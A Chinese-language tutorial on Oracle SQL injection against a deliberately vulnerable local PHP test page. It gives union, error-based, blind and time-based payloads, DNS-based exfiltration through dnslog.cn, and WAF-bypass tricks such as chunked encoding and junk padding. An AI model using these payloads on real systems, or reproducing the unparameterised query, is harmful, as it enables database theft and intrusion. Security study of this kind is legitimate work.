Oracle 注入bypass总结
字数 872 2025-08-24 23:51:25
Oracle 注入Bypass技术总结
0x01 环境准备
一、Oracle数据库安装
- 下载Oracle 11g Express Edition
- 运行setup.exe进行安装
- 启动数据库服务:
sqlplus 用户名: system 口令: [安装时设置的密码] - 使用Navicat连接数据库(用户名: system, 密码: root)
二、PHPStudy环境搭建
- 下载PHPStudy 2016版本
- 切换PHP版本为5.5.38
- 创建phpinfo.php测试文件:
<?php phpinfo();?>
三、OCI8扩展配置
- 修改php.ini启用oci8扩展
- 下载Oracle Instant Client 11.1.x
- 设置环境变量Path顺序:
instantclient路径 > PHP路径 - 验证配置:
where oci* php.exe --ri oci8
四、漏洞测试环境
-
创建TEST表结构:
ID (NUMBER) NAME (VARCHAR2) AGE (NUMBER) -
漏洞测试PHP代码(oracle.php):
<?php header("Content-Type:text/html;charset=utf-8"); $id = @$_REQUEST['id']; $dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =127.0.0.1)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) (INSTANCE_NAME = orcl)))"; $conn = oci_connect('system','root',$dbstr); if (!$conn) { $Error = oci_error(); print htmlentities($Error['message']); exit; } else { echo "<h3>Oracle 注入测试靶场</h3>"."<br>"; $sql = "select * from TEST where id=".$id; echo "当前sql语句为:".$sql."<br>"."<br>"; $ora_b = oci_parse($conn,$sql); oci_execute($ora_b,OCI_DEFAULT); while($r=oci_fetch_row($ora_b)) { $i=0; echo "Id:".$r[$i++]." </t> <br>"; echo "Name:".$r[$i++]." </t><br> "; echo "Age:".$r[$i++]." </t><br> "; } } oci_close($conn); ?>
0x02 Oracle注入基础测试
1. 漏洞点检测
?id=1 and 1=1 //正常返回
?id=1 and 1=2 //异常返回
2. 显错注入
?id=-1 union all select 1,(select user from dual),3,'4' from dual --
3. 报错注入
?id=-1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --
4. 布尔盲注
?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) -- //返回正常
?id=1 and 1=(select decode(user,'SSSSS',1,0) from dual) -- //返回异常
5. 延时盲注
?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --
6. 外带数据
?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.pgx519.dnslog.cn') from dual)is not null --
0x03 Bypass技术详解
1. 空格替换技术
可用字符替换空格:
- %0a (换行)
- %0b (垂直制表符)
- %0c (换页符)
- %0d (回车)
- %00 (空字符)
- %20 (空格)
- %09 (水平制表符)
- //、/60001/、/!/、+、()
2. 大小写随机替换
?id=-1 uNIon ALl sELEct 1,'2',(SelEct uSEr fROm test wHEre id=1) fROm dUAl --
3. 拼接换行回车符
Oracle特殊字符:
- CHR(10) - 换行
- CHR(13) - 回车
- || - 字符串拼接
示例:
?id=-1 uNIon ALl sELEct 1,'2',(SelEct chr(13)||uSEr fROm test wHEre id=1) fROm dUAl --
4. 注入方法替换与组合
当显错注入被拦截时,可尝试:
- 盲注技术
- 结合%00替换空格:
?id=1 and%001=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) -- - 外带数据:
?id=1 and%00(select utl_inaddr.get_host_address((select user from dual)||'.nm0se5.dnslog.cn') from dual)is not null --
5. 分块传输技术
使用分块编码传输绕过WAF检测,示例HTTP请求:
POST /oracle.php HTTP/1.1
Host: 192.168.150.6
[...]
Transfer-Encoding: chunked
2;xV1fjate8Q2XVoid
3;FBbE5aPh1njsaBHT0t8amN=-1
[...]
6. 万能脏数据技术
在语句中插入大量无用字符绕过WAF检测:
POST /oracle.php HTTP/1.1
[...]
id=-1/*脏数据*/uNIon/*脏数据*/ALl/*脏数据*/sELEct%201,%272%27,(SelEct%20uSEr%20fROm%20test%20wHEre%20id=1)%20fROm%20dUAl%20--/*脏数据*/
7. 其他绕过技术
- 双写关键字
- 各种编码方式
- 内联注释特殊用法:
/*!650011select*/ (65001会被拦截,650011不会)
0x04 总结
Oracle注入Bypass的核心思路:
- 灵活运用字符替换技术绕过关键字检测
- 结合多种注入方法提高成功率
- 使用分块传输和脏数据突破WAF长度限制
- 根据实际情况选择最适合的绕过方式
注:文中所有技术仅用于安全研究,请勿用于非法用途。